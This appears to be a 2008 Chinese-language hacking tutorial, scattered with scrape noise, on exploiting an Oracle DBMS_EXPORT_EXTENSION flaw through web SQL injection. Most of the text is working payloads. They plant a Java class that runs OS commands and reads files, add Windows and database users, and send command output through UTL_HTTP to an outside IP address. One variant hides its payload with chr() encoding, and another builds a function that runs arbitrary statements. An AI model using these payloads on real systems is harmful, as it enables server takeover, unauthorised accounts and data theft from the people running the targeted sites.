以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 # w1 B5 B, a' W3 y7 `$ p
# E% i8 P' ?- u
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
5 K2 f( u v8 S. V* M6 W的形式即可。(用" 'a'|| "是为了让语句返回true值) + K" G; A& D9 a
语句有点长,可能要用post提交。 5 t% Q% q5 f% V5 j# z6 {& H8 ~* x
以下是各个步骤: ; p& f: ^: s8 Z
1.创建包
+ X, W5 @& _/ I4 U1 e) ~通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
- Q% z. B+ @8 p/xxx.jsp?id=1 and '1'<>'a'||( & X+ T% a9 Q1 G; C1 q. S- ? g4 S1 v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& \- M. @( f- i/ C( @4 i/ G1 \create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
Q& G$ S; G" t9 Q* g4 K2 e6 unew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
c u- F# ?1 a+ r}'''';END;'';END;--','SYS',0,'1',0) from dual 2 B" ?1 `* m$ |8 R' L
)
# u$ f2 I1 B3 u( q8 x& T0 b9 y( j------------------------ 2 a0 {- ~$ L4 n3 J
如果url有长度限制,可以把readFile()函数块去掉,即: $ w" E3 ]" k! N! e6 ~; Q8 K
/xxx.jsp?id=1 and '1'<>'a'||(
" N3 [( B3 j1 C6 g9 D7 ~- mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ i4 @. p* P3 m1 h) S- vcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' F$ H: E- @. G* r, P
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}; c6 p) [1 a$ I8 H
}'''';END;'';END;--','SYS',0,'1',0) from dual
! ~4 l; l# v2 P$ [8 A) / {# S' r& @7 a% Y5 C
同时把后面步骤 提到的 对readFile()的处理语句去掉。
, M6 l$ l4 O5 ?# ~+ q- a7 W, w------------------------------ 8 B: E3 V; [7 p; z6 t4 b2 }, m
2.赋Java权限 & P1 ~8 v* [& ?3 B' s% d. @' s8 a Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual8 U5 K! _, C' [: N% p. o
3.创建函数
- h6 T% r+ V. V, oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 x/ V, i. p6 S3 D' u9 n- dcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual& b3 [8 w# y1 H' `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- K; y# u. T' [8 \3 Ucreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
5 F/ ^5 r5 Y! z! h$ A6 x4.赋public执行函数的权限
( M0 G. Q, x' j5 R+ kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual( I, M6 z7 G4 J% q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ F* j# X+ ?% ^
5.测试上面的几步是否成功
+ n5 o3 B9 F( I) E% O4 aand '1'<>'11'||( + f$ ]. L7 l8 n) {
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ' W3 O# q$ G+ o
)
2 `9 G! `- Z @. J( G/ H2 Dand '1'<>(
6 S$ O: Q- P/ ~' f; E) Pselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
' m: [8 p! v9 d( m+ g1 a2 f)
/ H; W( P) X3 M# [+ I, W5 _5 ~6.执行命令: 5 n' e" ~2 F/ I0 m1 [
/xxx.jsp?id=1 and '1'<>( 6 R+ u& ~# L o S: u
select sys.LinxRunCMD('cmd /c net user linx /add') from dual # }( X5 N% n6 e+ _
j1 ]' \* Q, X
) ' h2 Z" Y. V2 P4 C+ S% ?
/xxx.jsp?id=1 and '1'<>(
: j( O1 p7 w; q$ S. sselect sys.LinxReadFile('c:/boot.ini') from dual
: {. K# Y! g1 E, C- W$ ?1 L4 [, v7 B+ K/ s% y5 b) c
)/ y3 n2 E& N/ Y2 f/ {3 H! t
A7 S: c) _8 t4 {2 B8 ^ E注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
( z! r2 V' _2 e1 k/ O. ~0 }如果要查看运行结果可以用 union :
8 \) |% d' x( u8 p0 n& o' r/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual( g2 j3 q- {$ v, A1 B
或者UTL_HTTP.request(: ) A3 C" j7 x. N) R
/xxx.jsp?id=1 and '1'<>(
: T' P) ^& q3 l) o' }0 XSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual& J. D7 I! K- \( ~+ v
)
S: S8 Z: {9 ~/ \2 R- _/ v/xxx.jsp?id=1 and '1'<>(
) a( E: Z' I- s+ F( \; m1 u! TSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual$ y1 f H0 s9 ?5 N% V5 Q& O, |
) * D$ T- x8 e- K8 Q7 d$ g* g
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
% q$ Z8 k) m, J% ]5 w5 a* s4 z. ]# V-------------------- 5 ?( w, O& y9 Y
6.内部变化
" I- n# I& A0 H! T# b通过以下命令可以查看all_objects表达改变: 1 ?, k2 |) C6 M0 Q) J, V
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
0 [* V8 ?& m; ^7.删除我们创建的函数 . l' v& x7 ?& ?, e. D% I: w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ ~: b% t" ?& C8 r: o @
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
/ y6 Y. f' w8 v M Y) {==================================================== - m7 D) y( ^: _ c/ E. E4 e% F8 Q
全文结束。谨以此文赠与我的朋友。
3 Q2 E( X" g9 G' Nlinx 9 [4 b( y- w, y; \
124829445
3 i; B- i4 L5 O9 d) r; ]% X2008.1.12 # d8 D9 `6 ?& v; f6 {" h# E
linyujian@bjfu.edu.cn ; s/ d" i: t: V% N0 i; C
======================================================================
' `& b+ K% c1 X; g测试漏洞的另一方法:
3 W4 P& U! _ @/ J0 R1 Y7 H创建oracle帐号: + b1 ^- ~! `: r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 U9 s* A- _6 m/ F9 E& B, z
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual/ i4 R7 D5 f5 S: ?+ T' D- {
即:
; }% S" ^8 K) v4 k Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
. G( }; \) m8 x( k$ nchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 W" y, _* Z/ W+ j/ F/ c0 K确定漏洞存在:
7 A4 f8 @3 N/ m7 K% d' ?1<>(
3 z2 \/ k) V. {; \9 a1 Y1 {select user_id from all_users where username='LINXSQL' 5 x. u: r/ q/ A, d
) 2 i3 Q2 [4 f- c1 P1 G2 \
给linxsql连接权限: 3 X* Q1 B$ \( R" L5 R5 e( {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% \- _: I! u! s* }1 YGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
& B( d3 r* @, G删除帐号:
( N) S+ @: c9 J5 mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ U" Y- x' ~+ v9 x( v
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
' t2 a H$ G2 u4 c1 I====================== ) h& _2 v0 F) }4 ^
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:; y4 H/ B% {# O2 e$ J( j0 ?: C
1.jsp?id=1 and '1'<>( 2 A* }, ]% F( y8 H% D. ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 Y. m/ b. d* d7 o; t# icreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
. x) p" w5 I2 X( F) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE) y2 m6 s5 s+ j/ P# M
)4 o% W! c9 b7 p, [2 B
' L+ U' \. @' _9 A
6 j* l: S$ I* m& \' v
3 e' {3 i0 A. }- l. w$ t |